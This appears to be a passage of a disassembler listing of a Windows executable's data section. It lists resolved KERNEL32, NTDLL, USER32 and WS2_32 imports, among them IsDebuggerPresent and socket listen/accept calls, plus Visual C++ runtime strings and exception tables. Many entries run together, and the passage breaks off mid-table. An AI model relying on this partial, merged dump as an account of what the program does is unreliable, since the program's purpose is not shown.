resolved to->KERNEL32.GetComputerNameAdword_42F124 dd 7C813093h ; resolved to->KERNEL32.IsDebuggerPresentdword_42F128 dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableAdword_42F12C dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_42E2C0+261r dword_42F130 dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_42E2C0+B9r dword_42F134 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_42F138 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_40BB43+128r ... dword_42F13C dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_40BB43+Er ... dword_42F140 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_42483C+28r ... dword_42F144 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_42488E+28r ... dword_42F148 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40178D+162r ... dword_42F14C dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_42F150 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_401906+16Er ... dword_42F154 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_40274D+1Fr ... dword_42F158 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_40178D+EBr ... dword_42F15C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401477+12Cr ... dword_42F160 dd 7C835D54h ; resolved to->KERNEL32.WritePrivateProfileStringA ; sub_41F455+94r dword_42F164 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_42F168 dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_42F16C dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_42F170 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_42F174 dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_42BDC5:loc_42BE1Br dword_42F178 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_42BADD+12Dr dword_42F17C dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_42BADD+8Dr dword_42F180 dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_42F184 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_42B533+E1r dword_42F188 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_42F18C dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsAdword_42F190 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_42F194 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_42F198 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_42F19C dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_42ABB1+14r ... dword_42F1A0 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_429BA7+14Dr ... dword_42F1A4 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_429BA7+A7r dword_42F1A8 dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_429B9A+6r dword_42F1AC dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_42F1B0 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtrdword_42F1B4 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_4285CC+14Fr ... dword_42F1B8 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_42794F+51r ... dword_42F1BC dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_427D40+120r ... dword_42F1C0 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_42F1C4 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_42F1C8 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_42F1CC dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSection ; sub_42840D+1r ... dword_42F1D0 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_426B40+17Ar ... dword_42F1D4 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_42B69E+143r dword_42F1D8 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_42F1DC dd 7C809740h ; resolved to->KERNEL32.TlsGetValuedword_42F1E0 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Errordword_42F1E4 dd 7C812D9Fh ; resolved to->KERNEL32.TlsAllocdword_42F1E8 dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValue ; sub_42599D+34r dword_42F1EC dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_423F63+F6r ... dword_42F1F0 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_42726C+2C5r ... dword_42F1F4 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_42F1F8 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_429F79+215r dword_42F1FC dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_4240A0+86r ... dword_42F200 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_4248E0+26r ... dword_42F204 dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformation ; sub_42D078+4Er dword_42F208 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_42F20C dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTimedword_42F210 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_426B40+5Er dword_42F214 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_42F218 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_42F21C dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; sub_42599D+45r dd 0 dword_42F224 dd 71B2517Fh dd 0 dword_42F22C dd 7712A63Fh dd 0 dword_42F234 dd 7CAB8CB2h ; sub_414983+131r ... dword_42F238 dd 7CA23A4Bh ; sub_414CF1+151r dword_42F23C dd 7CA40EE0h ; sub_414810+24r ... dd 0 dword_42F244 dd 7E41AE3Fh ; resolved to->USER32.CharUpperBuffAdword_42F248 dd 7E44F209h ; resolved to->USER32.IsCharAlphaNumericA ; sub_415EA7+2CBr ... dword_42F24C dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_416208+2A9r ... dword_42F250 dd 7E42E5C2h ; resolved to->USER32.CharLowerA align 8 dword_42F258 dd 77C019FFh dword_42F25C dd 77C018BAh dword_42F260 dd 77C01A50h align 8 dword_42F268 dd 71AB3E00h ; resolved to->WS2_32.binddword_42F26C dd 71AB951Eh ; resolved to->WS2_32.getsocknamedword_42F270 dd 71AB88D3h ; resolved to->WS2_32.listendword_42F274 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_403B2C+6752r ... dword_42F278 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40F770+21Cr dword_42F27C dd 71AB2BC0h ; resolved to->WS2_32.ntohldword_42F280 dd 71AB2DC0h ; resolved to->WS2_32.selectdword_42F284 dd 71AC1028h ; resolved to->WS2_32.acceptdword_42F288 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_403B2C+680Ar ... dword_42F28C dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_403B2C+6825r ... dword_42F290 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40D98D+16r ... dword_42F294 dd 71AB406Ah ; resolved to->WS2_32.connect ; .text:0040B844r ... dword_42F298 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_403B2C+228Dr ... dword_42F29C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_403B2C+677Dr ... dword_42F2A0 dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; sub_40F770+7Dr dword_42F2A4 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_41112E+112r ... dword_42F2A8 dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_41BB8F+FFr ... dword_42F2AC dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40F770+1B2r ... dword_42F2B0 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_41130C+DBr dword_42F2B4 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_41B8E7+F4r ... dword_42F2B8 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_403B2C+67A6r ... align 10h dbl_42F2C0 dq -1.52587890625e-4 ; DATA XREF: sub_403625+3DFr dbl_42F2C8 dq 3.0517578125e-4 ; DATA XREF: sub_403625+3C0r dbl_42F2D0 dq -3.0517578125e-4 ; DATA XREF: sub_403625+33Er ; sub_403625+3A2r dbl_42F2D8 dq 1.52587890625e-4 ; DATA XREF: sub_403625+279r dbl_42F2E0 dq -1.739501953125e-3 ; DATA XREF: sub_403625+254r ; sub_403625+2DDr ... dbl_42F2E8 dq 3.021240234375e-3 ; DATA XREF: sub_403625+EDr dbl_42F2F0 dq 3.0517578125e-5 ; DATA XREF: sub_403625+BAr ; sub_403625+143r ... dbl_42F2F8 dq 6.103515625e-5 ; DATA XREF: sub_403625+9Fr ; sub_403625+309r dbl_42F300 dq 2.288818359375e-3 ; DATA XREF: sub_403625+2Er dbl_42F308 dq 9.765625e-4 ; DATA XREF: sub_40CDE2+23Er ; sub_40CDE2+24Dr ... off_42F310 dd offset sub_40D526 ; DATA XREF: sub_40D512+4o ; sub_40D542+Fo ... dword_42F314 dd 0 ; sub_40F210+72o ... dword_42F318 dd 10h ; sub_403B2C+5A9r ... flt_42F31C dd 5.0e-1 ; DATA XREF: sub_4128D4+3BDr ; sub_41391C+582r dbl_42F320 dq -3.0517578125e-5 ; DATA XREF: sub_41409E+1Fr dword_42F328 dd 0FFFFFFFFh, 41F96Ch, 41F99Dh, 0dword_42F338 dd 0FFFFFFFFh, 41FA0Ch, 41FA10h, 42FC28hoff_42F348 dd offset loc_421D37 ; DATA XREF: sub_421C83+4Do ; sub_421D53+Co dd offset sub_40F344 dd offset sub_421D1A aStringTooLong db 'string too long',0 ; DATA XREF: sub_421C83+1Eo dd offset dword_42FC60 off_42F368 dd offset loc_40F64F ; DATA XREF: sub_40F1B0+4Ao ; sub_40F36E+8o ... dd offset sub_40F344 dd offset sub_40F351 dd offset dword_42FCB0 off_42F378 dd offset loc_40F64F ; DATA XREF: sub_40F0E1+4Do ; sub_40F728+Co ... dd offset sub_40F344 dd offset sub_40F632 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_421D6B+1Eo dd offset dword_42FCF8 off_42F3A0 dd offset sub_421ECD ; DATA XREF: sub_421E9B+12o ; .text:00421F02o ... align 8 dword_42F3A8 dd 0FFFFFFFFh, 0 dd offset sub_42301E dd 0FFFFFFFFh, 0 dd offset sub_42307A dword_42F3C0 dd 0FFFFFFFFh, 0 dd offset sub_42311D dd 0FFFFFFFFh, 0 dd offset sub_423175 dword_42F3D8 dd 6D6D6F63h, 2E646E61h, 6D6F63hdword_42F3E4 dd 632Fh aComspec db 'COMSPEC',0 ; DATA XREF: sub_423517+8o dword_42F3F0 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) dd offset dword_42FD28 off_42F414 dd offset sub_423B08 ; DATA XREF: sub_423B24+8o ; sub_423B61+8o ... dd offset sub_423BC1 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_423BC1+7o align 10h dd offset dword_42FD70 off_42F434 dd offset loc_423BF7 ; DATA XREF: sub_423BCE+5o ; .text:off_43873Co ... dword_42F438 dd 0FFFFFFFFh, 0 dd offset sub_423FF7 byte_42F444 db 4 dup(0FFh), 4 dup(0), 80h, 40h, 42h, 0 ; DATA XREF: sub_42512C+4Ar dbl_42F450 dq 1.0 ; DATA XREF: sub_4242B0+6Cr ; sub_4289FB+2Ar dword_42F458 dd 0FFFFFFFFh, 424FACh, 424FC0hbyte_42F464 db 6 ; DATA XREF: sub_42512C:loc_425183r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .text:off_4496BCo unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: .text:off_4496B8o align 4 a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_427054+8Eo align 10h a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_427054+4Fo align 4 dword_42F508 dd 0FFFFFFFFh, 0 dd offset sub_42874F dd 0FFFFFFFFh, 0 dd offset sub_42889F dword_42F520 dd 0FFFFFFFFh, 0 dd offset sub_428962 dd 0FFFFFFFFh, 0 dd offset sub_4289DD dbl_42F538 dq 4.195835e6 ; DATA XREF: sub_4289FB+Fr dbl_42F540 dq 3.145727e6 ; DATA XREF: sub_4289FB+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_428A39+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_428A39o align 10h dbl_42F570 dq 0.0 ; DATA XREF: sub_428B0A+6r ; sub_42A22C+8Cr ... aE000 db 'e+000',0 ; DATA XREF: sub_428BC1+57o align 10h aPath_0 db 'PATH',0 ; DATA XREF: sub_428E88+49o align 4 a_exe db '.exe',0 ; DATA XREF: .text:0044BB80o align 10h a_bat db '.bat',0 ; DATA XREF: .text:0044BB7Co align 4 a_cmd db '.cmd',0 ; DATA XREF: .text:off_44BB78o align 10h a__1 db '.\',0 ; DATA XREF: sub_428FED+51o align 8 dword_42F5A8 dd 0FFFFFFFFh, 4295E1h, 4295EBh, 0dword_42F5B8 dd 0FFFFFFFFh, 0 dd offset loc_429770 align 8 dd offset sub_42974E dd offset sub_429758 dword_42F5D0 dd 0FFFFFFFFh, 4299A6h, 4299AAh, 0dword_42F5E0 dd 0FFFFFFFFh, 429A08h, 429A11h, 0dword_42F5F0 dd 0FFFFFFFFh, 0 dd offset loc_429AE8 align 10h dd offset loc_429AD4 dd offset loc_429AD8 dword_42F608 dd 0FFFFFFFFh, 0 dd offset loc_429B3E align 8 dd offset loc_429B2A dd offset loc_429B2E dword_42F620 dd 2 dup(0) ; sub_42BADD+39o ... dword_42F628 dd 0FFFFFFFFh, 429CB7h, 429CBBh, 0FFFFFFFFh, 429D6Bh, 429D6Fh ; DATA XREF: sub_429BA7+5o dd 6E795Fh, 31795Fh, 30795Fh, 78657266h, 70h, 646F6D66h dd 0 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .text:off_44BCA4o aRuntimeError db 'runtime error ',0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .text:off_44BF3Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_42B69E+119o align 4 asc_42F9A4 db 0Ah ; DATA XREF: sub_42B69E+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_42B69E+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_42B69E+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_42B69E+7Do align 10h dword_42F9E0 dd 0FFFFFFFFh, 42BBD6h, 42BBDAhaSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_42D078+2Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42D64E+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42D64E+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42D64E+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_42E02D:loc_42E122o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_42E02D+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_42E02D+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_42E02D+ADo align 10h dword_42FA80 dd 0FFFFFFFFh, 42E477h, 42E47Bh, 0FFFFFFFFh, 42E4E6h, 42E4EAh ; DATA XREF: sub_42E2C0+5o dd 6D6D3A48h, 73733Ah, 64646464h, 4D4D202Ch, 64204D4Dh dd 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h, 4D41h dd 65636544h, 7265626Dh, 0 aNovember db 'November',0 ; DATA XREF: .text:0044C1C8o align 4 aOctober db 'October',0 ; DATA XREF: .text:0044C1C4o aSeptember db 'September',0 ; DATA XREF: .text:0044C1C0o align 10h aAugust db 'August',0 ; DATA XREF: .text:0044C1BCo align 4 aJuly db 'July',0 ; DATA XREF: .text:0044C1B8o align 10h aJune db 'June',0 ; DATA XREF: .text:0044C1B4o align 4 aApril db 'April',0 ; DATA XREF: .text:0044C1ACo align 10h aMarch db 'March',0 ; DATA XREF: .text:0044C1A8o align 4 aFebruary db 'February',0 ; DATA XREF: .text:0044C1A4o align 4 aJanuary db 'January',0 ; DATA XREF: .text:0044C1A0o off_42FB2C dd offset dword_636544 ; DATA XREF: .text:0044C19Co dword_42FB30 dd 766F4Eh, 74634Fh, 706553h, 677541h, 6C754Ah, 6E754Ah ; DATA XREF: .text:0044C198o ; .text:0044C194o ... dd 79614Dh, 727041h, 72614Dh, 626546h, 6E614Ah, 75746153h dd 79616472h, 0 aFriday db 'Friday',0 ; DATA XREF: .text:0044C168o align 10h aThursday db 'Thursday',0 ; DATA XREF: .text:0044C164o align 4 aWednesday db 'Wednesday',0 ; DATA XREF: .text:0044C160o align 4 aTuesday db 'Tuesday',0 ; DATA XREF: .text:0044C15Co aMonday db 'Monday',0 ; DATA XREF: .text:0044C158o align 4 aSunday db 'Sunday',0 ; DATA XREF: .text:0044C154o align 10h aSat db 'Sat',0 ; DATA XREF: .text:0044C150o aFri db 'Fri',0 ; DATA XREF: .text:0044C14Co aThu db 'Thu',0 ; DATA XREF: .text:0044C148o aWed db 'Wed',0 ; DATA XREF: .text:0044C144o aTue db 'Tue',0 ; DATA XREF: .text:0044C140o aMon db 'Mon',0 ; DATA XREF: .text:0044C13Co aSun db 'Sun',0 ; DATA XREF: .text:off_44C138o align 10h off_42FBC0 dd offset off_43873C ; DATA XREF: .text:0042FC10o ; .text:0042FC44o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_42FBD8 dd offset off_438754 ; DATA XREF: .text:0042FC0Co ; .text:0042FC40o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_42FBF0 dd offset off_449370 ; DATA XREF: .text:0042FC08o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_42FBF0 dd offset off_42FBD8 dd offset off_42FBC0 dd 0 db 0 ; DATA XREF: .text:0042FC38o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 42FC08h, 3 dup(0) dd offset off_449370 dd offset unk_42FC18 align 10h dd offset off_42FBD8 dd offset off_42FBC0 dword_42FC48 dd 4 dup(0) dd 2, 42FC40h dword_42FC60 dd 3 dup(0) dd offset off_438754 dd offset dword_42FC48+8 align 8 off_42FC78 dd offset off_438774 ; DATA XREF: .text:0042FC90o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_42FC78 dd offset off_42FBD8 dd offset off_42FBC0 dword_42FC9C dd 3 dup(0) dd 3, 42FC90h dword_42FCB0 dd 3 dup(0) dd offset off_438774 dd offset dword_42FC9C+4 align 8 off_42FCC8 dd offset off_4493A0 ; DATA XREF: .text:0042FCE0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_42FCC8 dd 0 db 0 ; DATA XREF: .text:0042FD08o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 42FCE0h dword_42FCF8 dd 3 dup(0) dd offset off_4493A0 dd offset unk_42FCE8 dd offset off_42FBC0 dword_42FD10 dd 4 dup(0) dd 1, 42FD0Ch dword_42FD28 dd 3 dup(0) dd offset off_43873C dd offset dword_42FD10+8 dd 0 off_42FD40 dd offset off_449400 ; DATA XREF: .text:0042FD58o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_42FD40 dword_42FD5C dd 3 dup(0) dd 1, 42FD58h dword_42FD70 dd 3 dup(0) dd offset off_449400 dd offset dword_42FD5C+4 align 8 dd 0FFFFFFFFh, 42EBF8h dword_42FD90 dd 19930520h, 1, 42FD88h, 4 dup(0) dd 0FFFFFFFFh, 42EC1Ch, 0 dd offset loc_42EC0C dd 1, 42EC14h dword_42FDC4 dd 19930520h, 3, 42FDACh, 4 dup(0) dd 0FFFFFFFFh, 42EC40h dword_42FDE8 dd 19930520h, 1, 42FDE0h, 4 dup(0) dd 0FFFFFFFFh, 42EC54h, 0 dd offset loc_42EC5C align 8 dd offset loc_42EC64 align 10h dd offset loc_42EC6C dd 3, 42EC74h, 4, 42EC7Ch, 0 dd offset loc_42EC84 dd 6, 42EC8Ch, 0 dd offset loc_42EC94 dd 8, 42EC9Ch, 9, 42ECA4h, 0 dd offset loc_42ECAC dd 0Bh, 42ECB4h, 0Ch, 42ECBCh, 0 dd offset loc_42ECC4 dd 0Eh, 42ECCCh, 0 dd offset loc_42ECD4 align 10h dd offset loc_42ECDC dd 11h, 42ECE4h, 11h, 42ECECh dword_42FEA4 dd 19930520h, 14h, 42FE04h, 4 dup(0) dd 0FFFFFFFFh, 42ED00h, 0 dd offset loc_42ED0B dd 1, 42ED13h, 2, 42ED1Bh, 3, 42ED26h, 4, 42ED31h, 5, 42ED3Ch dd 6, 42ED44h, 7, 42ED4Fh, 8, 42ED57h, 8, 42ED62h, 8, 42ED6Dh dd 7, 42ED78h, 0Ch, 42ED83h, 7, 42ED83h, 0Eh, 42ED8Eh dd 0Fh, 42ED99h, 0Eh, 42EDA4h, 11h, 42EDAFh, 0Eh, 42EDAFh dd 13h, 42EDBAh, 7, 42EDC5h, 15h, 42EDD0h, 7, 42EDD0h dd 17h, 42EDDBh, 18h, 42EDE6h, 17h, 42EDF1h, 1Ah, 42EDFCh dd 17h, 42EDFCh, 1Ch, 42EE07h, 7, 42EE12h, 1Eh, 42EE1Dh dd 7, 42EE1Dh, 20h, 42EE28h, 21h, 42EE33h, 20h, 42EE3Eh dd 23h, 42EE49h, 20h, 42EE49h, 25h, 42EE54h, 7, 42EE5Fh dd 27h, 42EE6Ah, 7, 42EE6Ah, 29h, 42EE75h, 2Ah, 42EE80h dd 29h, 42EE8Bh, 2Ch, 42EE96h, 29h, 42EE96h, 2Eh, 42EEA1h dword_430040 dd 19930520h, 30h, 42FEC0h, 4 dup(0)dword_43005C dd 0 dd offset off_43873C align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 423B61h, 0 dd offset off_438754 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 40F389h, 0 dd offset off_438774 align 10h dd 0FFFFFFFFh, 0 dword_4300A8 dd 1Ch, 40F728h, 3, 430094h, 430078h, 43005Chdword_4300C0 dd 0 ; sub_40F632+12o ... dd offset sub_40F36E dd 0 dd offset dword_4300A8+8 dd 0FFFFFFFFh, 42EEB8h dword_4300D8 dd 19930520h, 1, 4300D0h, 4 dup(0) dd 0FFFFFFFFh, 42EECCh dword_4300FC dd 19930520h, 1, 4300F4h, 4 dup(0)dword_430118 dd 2, 430078h, 43005Chdword_430124 dd 0 dd offset sub_40F36E align 10h dd offset dword_430118 dd 0FFFFFFFFh, 42EEE0h dword_43013C dd 19930520h, 1, 430134h, 4 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_40F6AA align 10h dd 2 dup(1), 430168h dword_43018C dd 19930520h, 2, 430158h, 1, 430178h, 2 dup(0) ; DATA XREF: .text:loc_42EEF4o dd 0FFFFFFFFh, 42EF00h, 0 dd offset loc_42EF08 dd 1, 42EF10h, 2, 42EF18h dword_4301C8 dd 19930520h, 4, 4301A8h, 4 dup(0) dd 0FFFFFFFFh, 42EF2Ch dword_4301EC dd 19930520h, 1, 4301E4h, 4 dup(0) dd 0FFFFFFFFh, 42EF40h dword_430210 dd 19930520h, 1, 430208h, 6 dup(0) dd offset off_449370 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 421D53h, 0 dword_430250 dd 3, 430230h, 430078h, 43005Chdword_430260 dd 0 ; sub_421D1A+12o dd offset sub_421CDD dd 0 dd offset dword_430250 dword_430270 dd 19930520h, 1, 430290h, 5 dup(0) dd 0FFFFFFFFh, 42EF54h dword_430298 dd 19930520h, 1, 4302B8h, 5 dup(0) dd 0FFFFFFFFh, 42EF68h dword_4302C0 dd 19930520h, 1, 4302E0h, 5 dup(0) dd 0FFFFFFFFh, 42EF7Ch, 0 dd offset off_4493A0 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 421EE9h, 0 dword_430308 dd 1, 4302E8h dword_430310 dd 0 dd offset sub_421F16 dd 0 dd offset dword_430308 dd 30404h, 2 dup(0) dd 30BB8h, 2F030h, 30618h, 2 dup(0) dd 30C08h, 2F244h, 303D4h, 2 dup(0) dd 30CE4h, 2F000h, 30608h, 2 dup(0) dd 30D30h, 2F234h, 3063Ch, 2 dup(0) dd 30D4Ah, 2F268h, 305F8h, 2 dup(0) dd 30D6Ch, 2F224h, 30600h, 2 dup(0) dd 30D74h, 2F22Ch, 3062Ch, 2 dup(0) dd 30DC4h, 2F258h, 5 dup(0) dd 77DD7883h, 77DD6BF0h, 77DD761Bh, 77DDEBE7h, 77DD7753h dd 77DFD11Bh, 77DFC534h, 77DF08D5h, 77E215D9h, 77DF087Fh dd 77DFD4C9h, 0 dd 7C80992Fh, 7C80B905h, 7C809B47h, 7C80B974h, 7C80DDF5h dd 7C812ADEh, 7C81CE03h, 7C80BE01h, 7C835DCAh, 7C80180Eh dd 7C810B8Eh, 7C810A77h, 7C801A24h, 7C802520h, 7C910331h dd 7C81CDDAh, 7C80BAA1h, 7C80B6A1h, 7C802367h, 7C810D87h dd 7C80D262h, 7C8024A7h, 7C831EABh, 7C812782h, 7C80E93Fh dd 7C8308ADh, 7C809BF8h, 7C8286EEh, 7C81153Ch, 7C80A0D4h dd 7C830D74h, 7C81AE17h, 7C85F90Fh, 7C80DDFEh, 7C81E0C7h dd 7C80ABDEh, 7C821363h, 7C8217ACh, 7C8214E3h, 7C83039Bh dd 7C82C2D3h, 7C834D41h, 7C810111h, 7C80BDB6h, 7C8021CCh dd 7C8309E1h, 7C8643B5h, 7C801E16h, 7C864230h, 7C864B0Fh dd 7C863F58h, 7C863DE5h, 7C8098EBh, 7C8310F2h, 7C83632Dh dd 7C8361EEh, 7C814EEAh, 7C80998Dh, 7C831CB8h, 7C831C45h dd 7C8216A4h, 7C813093h, 7C833478h, 7C80A35Eh, 7C80D077h dd 7C832044h, 7C801D77h, 7C80ADA0h, 7C901005h, 7C9010EDh dd 7C91188Ah, 7C80B829h, 7C80C058h, 7C80B4CFh, 7C810637h dd 7C802442h, 7C835D54h, 7C80929Ch, 7C80BCCFh, 7C809E01h dd 7C812641h, 7C81DC03h, 7C80A490h, 7C838A0Ch, 7C812F08h dd 7C81CF5Bh, 7C814AE7h, 7C81DF77h, 7C862E2Ah, 7C8127A7h dd 7C809915h, 7C812E76h, 7C80CCA8h, 7C838DE8h, 7C84467Dh dd 7C9109EDh, 7C809E79h, 